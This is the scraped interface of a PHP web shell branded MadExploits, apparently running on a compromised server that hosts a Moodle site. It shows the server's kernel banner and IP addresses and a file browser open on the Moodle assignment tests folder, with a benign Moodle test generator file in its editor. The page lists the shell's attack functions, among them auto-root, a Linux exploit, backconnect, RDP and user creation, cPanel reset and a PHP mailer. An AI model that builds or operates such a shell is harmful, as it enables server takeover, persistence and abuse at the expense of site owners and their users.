Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.126.134
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
assign /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
behat
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxr-xr-x
generator
[ DIR ]
drwxr-xr-x
base_test.php
9.41
KB
-rw-r--r--
events_test.php
54.26
KB
-rw-r--r--
externallib_test.php
131.16
KB
-rw-r--r--
feedback_test.php
5.84
KB
-rw-r--r--
generator.php
4.65
KB
-rw-r--r--
lib_test.php
56.02
KB
-rw-r--r--
locallib_participants_test.php
7.49
KB
-rw-r--r--
locallib_test.php
188.1
KB
-rw-r--r--
markerallocation_test.php
5.72
KB
-rw-r--r--
portfolio_caller_test.php
10.08
KB
-rw-r--r--
privacy_feedback_legacy_polyfi...
9.5
KB
-rw-r--r--
privacy_submission_legacy_poly...
9.73
KB
-rw-r--r--
privacy_test.php
34.39
KB
-rw-r--r--
restore_date_test.php
3.66
KB
-rw-r--r--
search_test.php
4.22
KB
-rw-r--r--
upgradelib_test.php
4.91
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : generator.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Base class for unit tests for mod_assign. * * @package mod_assign * @category phpunit * @copyright 2018 Andrew Nicols <andrew@nicols.co.uk> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->dirroot . '/mod/assign/locallib.php'); require_once(__DIR__ . '/fixtures/testable_assign.php'); /** * Generator helper trait. * * @copyright 2018 Andrew Nicols <andrew@nicols.co.uk> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ trait mod_assign_test_generator { /** * Convenience function to create a testable instance of an assignment. * * @param array $params Array of parameters to pass to the generator * @return testable_assign Testable wrapper around the assign class. */ protected function create_instance($course, $params = [], $options = []) { $params['course'] = $course->id; $generator = $this->getDataGenerator()->get_plugin_generator('mod_assign'); $instance = $generator->create_instance($params, $options); $cm = get_coursemodule_from_instance('assign', $instance->id); $context = context_module::instance($cm->id); return new mod_assign_testable_assign($context, $cm, $course); } /** * Add a user submission to the assignment. * * @param \stdClass $student The user to submit for * @param \assign $assign The assignment to submit to * @param string $onlinetext The text tobe submitted * @param bool $changeuser Whether to switch user to the user being submitted as. */ protected function add_submission($student, $assign, $onlinetext = null, $changeuser = true) { // Add a submission. if ($changeuser) { $this->setUser($student); } if ($onlinetext === null) { $onlinetext = 'Submission text'; } $data = (object) [ 'userid' => $student->id, 'onlinetext_editor' => [ 'itemid' => file_get_unused_draft_itemid(), 'text' => $onlinetext, 'format' => FORMAT_HTML, ] ]; $assign->save_submission($data, $notices); } /** * Submit the assignemnt for grading. * * @param \stdClass $student The user to submit for * @param \assign $assign The assignment to submit to * @param array $data Additional data to set * @param bool $changeuser Whether to switch user to the user being submitted as. */ public function submit_for_grading($student, $assign, $data = [], $changeuser = true) { if ($changeuser) { $this->setUser($student); } $data = (object) array_merge($data, [ 'userid' => $student->id, ]); $sink = $this->redirectMessages(); $assign->submit_for_grading($data, []); $sink->close(); return $data; } /** * Mark the submission. * * @param \stdClass $teacher The user to mark as * @param \assign $assign The assignment to mark * @param \stdClass $student The user to grade * @param array $data Additional data to set * @param bool $changeuser Whether to switch user to the user being submitted as. */ protected function mark_submission($teacher, $assign, $student, $grade = 50.0, $data = [], $attempt = 0) { global $DB; // Mark the submission. $this->setUser($teacher); $data = (object) array_merge($data, [ 'grade' => $grade, ]); // Bump all timecreated and timemodified for this user back. $DB->execute('UPDATE {assign_submission} SET timecreated = timecreated - 1, timemodified = timemodified - 1 WHERE userid = :userid', ['userid' => $student->id]); $assign->testable_apply_grade_to_user($data, $student->id, $attempt); } }
Close